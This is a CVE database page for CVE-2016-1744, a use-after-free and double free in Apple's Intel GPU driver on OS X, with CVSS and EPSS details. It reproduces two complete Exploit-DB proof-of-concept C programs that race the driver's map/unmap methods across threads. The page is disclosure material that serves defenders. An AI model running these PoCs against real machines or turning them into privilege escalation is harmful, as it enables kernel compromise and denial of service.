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CVE-2016-1744 : Detail

CVE-2016-1744

7.8
/
HIGH
Overflow
0.2%V3
Local
2016-03-24 00:00 +00:00
2017-09-07 07:57 +00:00
CVE.org
NVD

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Descriptions

The Intel driver in the Graphics Drivers subsystem in Apple OS X before 10.11.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2016-1743.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45647

Publication date : 2018-10-21 22:00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 */ //ianbeer // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit #if 0 UaF/Double-delete due to bad locking in Apple Intel GPU driver This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 #endif #include #include #include #include #include #include #include #include #include #include #include struct mem_desc { uint64_t ptr; uint64_t size; }; uint64_t map_user_memory(mach_port_t conn) { kern_return_t err; void* mem = malloc(0x20000); // make sure that the address we pass is page-aligned: mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff); printf("trying to map user pointer: %p\n", mem); uint64_t inputScalar[16] = {0}; uint64_t inputScalarCnt = 0; char inputStruct[4096] = {0}; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x10; outputScalarCnt = 4096; outputStructCnt = 16; struct mem_desc* md = (struct mem_desc*)inputStruct; md->ptr = (uint64_t)mem; md->size = 0x1000; err = IOConnectCallMethod( conn, 0x200, // IGAccelGLContext::map_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); //return 0; } else{ printf("worked? outputScalarCnt = %d\n", outputScalarCnt); } printf("outputScalarCnt = %d\n", outputScalarCnt); md = (struct mem_desc*)outputStruct; printf("0x%llx :: 0x%llx\n", md->ptr, md->size); return (uint64_t)mem; } uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x8; outputScalarCnt = 4096; outputStructCnt = 16; *((uint64_t*)inputStruct) = handle; err = IOConnectCallMethod( conn, 0x201, // IGAccelGLContext::unmap_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } volatile mach_port_t gl_context = MACH_PORT_NULL; #define N_HANDLES 40 void go(void* arg){ while (1) { uint64_t handles[N_HANDLES] = {0}; for (int i = 0; i < N_HANDLES; i++) { handles[i] = map_user_memory(gl_context); } for (int i = 0; i < N_HANDLES; i++) { unmap_user_memory(gl_context, handles[i]); } } } int main(int argc, char** argv){ // get an IGAccelGLContext gl_context = get_user_client("IntelAccelerator", 1); printf("gl_context: %x\n", gl_context); // get a IGAccelSharedUserClient mach_port_t shared = get_user_client("IntelAccelerator", 6); printf("shared: %x\n", shared); // connect the gl_context to the shared UC so we can actually use it: kern_return_t err = IOConnectAddClient(gl_context, shared); if (err != KERN_SUCCESS){ printf("IOConnectAddClient error: %x\n", err); return 0; } printf("added client to the shared UC\n"); #define N_THREADS 2 pthread_t threads[N_THREADS]; for (int i = 0; i < N_THREADS; i++) { pthread_create(&threads[i], NULL, go, NULL); } pthread_join(threads[0], NULL); return 0; }
Exploit Database EDB-ID : 39616

Publication date : 2016-03-22 23:00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708 The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory method. The Context objects have inline IGHashTable members which store a mapping between those user pointers and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method calls in order: ::contains ::get ::remove on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid mapped user pointer they will both look up the same value in the hash map and return it. The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the ::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free. The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again. This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process. */ //ianbeer // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread // repro: while true; do ./ig_gl_unmap_racer; done // (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp) /* Use after free and double delete due to incorrect locking in Intel GPU Driver The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory method. The Context objects have inline IGHashTable members which store a mapping between those user pointers and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method calls in order: ::contains ::get ::remove on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid mapped user pointer they will both look up the same value in the hash map and return it. The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the ::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free. The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again. This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process. */ #include #include #include #include #include #include #include #include #include #include #include struct mem_desc { uint64_t ptr; uint64_t size; }; uint64_t map_user_memory(mach_port_t conn) { kern_return_t err; void* mem = malloc(0x20000); // make sure that the address we pass is page-aligned: mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff); printf("trying to map user pointer: %p\n", mem); uint64_t inputScalar[16] = {0}; uint64_t inputScalarCnt = 0; char inputStruct[4096] = {0}; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x10; outputScalarCnt = 4096; outputStructCnt = 16; struct mem_desc* md = (struct mem_desc*)inputStruct; md->ptr = (uint64_t)mem; md->size = 0x1000; err = IOConnectCallMethod( conn, 0x200, // IGAccelGLContext::map_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); //return 0; } else{ printf("worked? outputScalarCnt = %d\n", outputScalarCnt); } printf("outputScalarCnt = %d\n", outputScalarCnt); md = (struct mem_desc*)outputStruct; printf("0x%llx :: 0x%llx\n", md->ptr, md->size); return (uint64_t)mem; } uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x8; outputScalarCnt = 4096; outputStructCnt = 16; *((uint64_t*)inputStruct) = handle; err = IOConnectCallMethod( conn, 0x201, // IGAccelGLContext::unmap_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); // should be intel integrated graphics (only tested on MBA) if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } mach_port_t gl_context = MACH_PORT_NULL; uint64_t handle = 0; OSSpinLock lock = OS_SPINLOCK_INIT; void go(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } //usleep(1); unmap_user_memory(gl_context, handle); printf("called unmap from thread\n"); } int main(int argc, char** argv){ // get an IGAccelGLContext gl_context = get_user_client("IOAccelerator", 1); // get a IGAccelSharedUserClient mach_port_t shared = get_user_client("IOAccelerator", 6); // connect the gl_context to the shared UC so we can actually use it: kern_return_t err = IOConnectAddClient(gl_context, shared); if (err != KERN_SUCCESS){ printf("IOConnectAddClient error: %x\n", err); return 0; } printf("added client to the shared UC\n"); handle = map_user_memory(gl_context); OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, (void*) go, NULL); usleep(100000); OSSpinLockUnlock(&lock); unmap_user_memory(gl_context, handle); printf("called unmap from main process thread\n"); pthread_join(t, NULL); return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.3

References

https://support.apple.com/HT206167
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/39616/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1035363
Tags : vdb-entry, x_refsource_SECTRACK

More information
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